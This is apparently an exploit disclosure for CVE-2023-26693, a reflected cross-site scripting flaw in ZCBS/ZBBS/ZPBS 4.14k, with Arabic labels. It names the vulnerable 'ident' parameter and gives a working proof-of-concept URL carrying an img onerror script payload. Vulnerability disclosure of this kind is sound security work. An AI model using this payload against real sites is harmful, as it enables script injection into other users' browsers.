CVE-2023-26693

ZCBS/ZCBS/ZPBS/ZBBS XSS المنعكس

Exploit Title: ZCBS/ZBBS/ZPBS v4.14k - XSS المنعكس

Date: 2023-03-30

CVE: CVE-2023-26693

Exploit Author: Abdulaziz Saad (@b4zb0z)

Vendor Homepage: https://www.zcbs.nl

Software Link: https://www.zcbs.nl/cgi-bin/objecten.pl

Version: 4.14k

Tested on: LAMP, Ubuntu

---

[#] الثغرة : $_GET['ident']

[#] الاستغلال : https://localhost/cgi-bin/objecten.pl?ident=%3Cimg%20src=x%20onerror=alert(%22XSS%22)%3E